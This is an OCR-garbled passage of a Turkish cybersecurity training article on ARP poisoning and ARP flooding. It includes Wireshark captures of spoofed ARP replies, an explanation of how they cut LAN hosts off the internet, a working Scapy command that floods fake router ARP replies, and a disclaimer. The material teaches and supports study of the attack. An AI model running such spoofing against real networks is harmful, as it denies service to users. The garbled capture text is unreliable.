1158.. 276.501541413 Dell 6f:56:3a pell_eg:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:08
1158. 276.501839040 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.502158150 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06 ,
1158. 276.502457592 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:05
1158. 276.502756336 Dell 6f:56:3a pell_e8:81:61 ARP B e ]
1158. 276.503055154 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.503354281 Dell 6f:56:3a pell_88:081:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.503653230 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.503950542 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.504249319 Dell 67:56:3a pell_B8:01:61 ARP 42 172.16.3.1 15 at 01:02:03:04:05:06
1158. 276.504547777 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.504848327 Dell 6f:56:3a pell_08:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:08
1158. 276.505147945 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.505529023 Dell 6f:56:3a pell_sg:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:08
1158. 276.505831444 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
q 1188 27R BARTPIARAA? nNell ARF'ER'3a nell AR'A1'A1 ARP 47 172 1R 2 1 1i= at n1-n9-n1-n4-n:-n& ; b

Profile: Default

wireshark ile yakalayip goérintlliyor olacaktik. Sayet bu géndermekte oldugumuz ve
yakaladigimiz paketlerden birine tiklasaydik Wireshark'in paketi decode ettigi halini (yani 1 ve

0 bit dizilerinin okunabilir formata dénustigu halini) okuyabilecektik.
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Capturing from enp0s31f6

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

== == — —]

Ba® XN QRensZEFISEF AQAQE
| |.i|:-|:-l;.-'a display filter ... =Ctrl-/= '] Expression... +
Mo, Time Source Destination Protocol Lengtt Info =

1158.. 276.497570431 Dell 6f:56:3a Dell_p8:81:61 ARP 42 172.16.3.1 1
1158. 276.497871059 Dell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.498198675 Dell 6f:56:3a Dell 88:81:61 ARP 42 172.16.3.1
1158. 276.498508281 Dell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.498809408 Dell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.499111295 pell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.499411770 Dell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.499711069 Dell 6T:56:3a Dell_pg:01:61 ARP 42 172.16.3.1
1158. 276.500010823 Dell _&f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.500343760 Dell 6f:56:3a pell_98:01:61 ARP 42 172.16.3.1 1
1158. 276.500644443 pell 6f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.500944286 Dell 6f:56:3a pell_o8:01:61 ARP 42 172.16.3.1 1
1158. 276.501242963 Dell _&f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.501541413 Dell &f:56:3a pell_p8:01:61 ARP 42 172.16.3.1 1
1158. 276.501839040 Dell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158.. 276.502158150 Dell 6f:56:3a pell_p8:01:61 ARP 42 172.16.3.1 1
1158. 276.502457592 Dell &f:56:3a Dell_88:681:61 ARP 42 172.16.3.1
,502756336 Dell 6f ,3.1 1
1158. 276.503055154 Dell Bf:56:3a Dell_g8:681:61 ARP 42 172.16.3.1
1158. 276.503354281 pell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.503653230 Dell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.503950542 Dpell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.504249319 Dell 6T:56:3a Dell_pg:01:61 ARP 42 172.16.3.1
1158. 276.504547777 Dell Bf:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.504848327 Dell 6f:56:3a pell_98:01:61 ARP 42 172.16.3.1 1
1158. 276.505147945 Dpell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
1158. 276.505529023 Dell 6f:56:3a pell_o8:01:61 ARP 42 172.16.3.1 1
1158. 276.505831444 pell &f:56:3a Dell_g8:81:61 ARP 42 172.16.3.1
q 1188 27R BEARZP1ARAA? nell Rf'ER'33 nell AR+ A1'A1 ARP 42 172 1R 3 1 1 > ¥

p Frame 1158781: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface @
p Ethernet II, Src: Dell 6f:56:3a (54:bf:64:67:56:3a), Dst: Dell _@8:01:61 (e4:h9:7a:08:01:61)
w Address Resolution Protocol (reply)

Hardware type: Ethernet (1)

Frotocol type: IFv4 (8x08080)

Hardware size: &

Protocol size: 4

Opcode: reply (2)

sender MAC address: wWoonsang_084:05:06 (01:02:03:04:05:06)

sender IP address: 172.16.3.1

Target MAC address: Broadcast (ff:ffiff.iff.ff:ff)

Target IP address: 172.16.255. 255

© 7 enp0s31fé: <live capture in progress= Packets: 1425908 « Displayed: 1425908 (100.0%) Profile: Default

Fark ettiyseniz gonderilen paketin igeriginde bizim arp paket basliklarina koydugumuz degerler
yer almaktadir. Dolayisiyla olusturdugumuz ve baslik degerlerini kendimizin belirledigi arp
paketinin ugusa gecmek Uzereyken (aga yayillmak Uzereyken) Wireshark ile havada
kapildiginda yerel aga hangi deg@erler ile gidiyor oldugunu bu sekilde de gdérintileyebiliriz.

Boylelikle arp zehirlemesi saldirisi ile yerel agdaki makinalarin nasil internet erigimlerini
engelleyebilecegimizi gérmis olduk.

Not 1: Yerel agda yaptigimiz bu DOS ataginin sektérde bilinen ismi ARP Flooding'tir. Tipki
SYN Flood'un DOS atagi olmasi gibi ARP Flooding de bir DOS atagidir.

Not 2: Gonderdigimiz sahte arp paketleri kabaca su sekildedir:

[ENG] Poisonous Packet: (fake MAC, Router's IP) -—-—-> To All Hosts in LAN
[TUR] Zehirli Paket : (sahte MAC, Router'an IP'si) ----> LAN'daki Tim Makinalara
Sonuc¢

Su ana kadar yaptigimiz sey sundan ibaretti: Bir tane ARP paketi olusturduk. Normalde bu
paket otomatik olusturulsaydi paketin source IP kismina kendi IP'miz konurdu. Ama biz paketi
elle olugturuyor oldugumuz icin router'in IP'sini koyabildik. BOyle yaparak bu olusturdugumuz
ARP paketini sanki router'dan geliyormus gibi yapmis olduk. Ardindan paketin igerisine MAC

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi

85



TASNIF DISI

Ag Haberlesmesi ve Arp Saldirilar:

adresi olarak herhangi bir adres verdik. Boylece arp paketinin router'dan geldigini sanan alicilar

gelen MAC adresini de router'in MAC adresi sanacaklar. Aldiklari MAC adresini arp tablolarina
kaydetmis olacaklar ve internet paketi géndermek istediklerinde ise paketlerini router'a
gonderiyorum derken bizim belirttigimiz sahte MAC adresine gdnderecekler. Bdylece internete

¢cikis yapamayacaklar.

Ozet

> sudo su

> scapy

>>> arpPacket=ARP ()

>>> arpPacket.show () // ARP paketinin bélumlendirmelerini
// (header'larini) siralar.

>>> arpPacket.psrc="X.X.X.X" // Router IP

>>> arpPacket.pdst="Y.Y.Y.Y" // Yayin IP Adresi

>>> arpPacket.hwsrc="01:02:03:04:05:06" // Uyduruk bir kaynak MAC adres

>>> arpPacket.hwdst="ff:ff:ff:ff:ff:£f" // Yayin MAC Adresi

>>> arpPacket.op=2 // Arp paketi bir Arp "Reply"
// (Arp "Yanit") paketi olacak

>>> send (arpPacket, 1loop=1000) // Paket Goénderimine Basla

Kisaca;

> sudo su

> scapy

>>> send (ARP (psrc="X.X.X.X",pdst="Y.Y.Y.Y", hwsrc="01:02:03:04:05:06",

hwdst="ff:ff:ff:ff:ff:££f",0p=2), 1loop=1000)

Sorumluluk Reddi

Bu makale ve bu makalenin yer aldid) makale zincirinde anlatilan her bir teknigin izinsizce bir sisteme
denenmeasi sonucu tespit edimeniz durumunda 5 ila 10 yil hapis cezasina carptinlabilecedinizi ve
aynyetten yaptidiniz hasara oranla maddi tazminat cezasina carptinilabilecedinizi  bildiginizi
varsayryorum. Tom bunlar bir yana sicilinizi kirletmeniz sonucunda bu alanda ne kadar bilgili
olursaniz olun "givenilmez” damgas! yiyecedinizden Torkiye'de siber givenlik sektorind unutmak
mechurivetinde kalacadimizi da bildidinizi varsayiyorum. Bu makale ve hu makalznin yer aldidi
makale zincirinde editim amach anlatilan tekniklerin kotd yonde kullaniimasindan tarafim sorumlu
tutulamaz. Bu bilgiler sadece ve sadece Glkemizde siber glvenlik alamindaki eleman eksikligini
gidermek maksadiyla paylasiimalktadir. Makale icerisinde yer alan bazi kelime kaliplannin {(&m;
"sizmak istedigimiz / saldirmak istedifimiz" gibi) sadece ve sadece bir sizma testci (pentester) bakis
agisindan ibaret oldudunu bayan etmek isterim.
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TASNIF DISI Ag Haberlesmesi ve Arp Saldirilari
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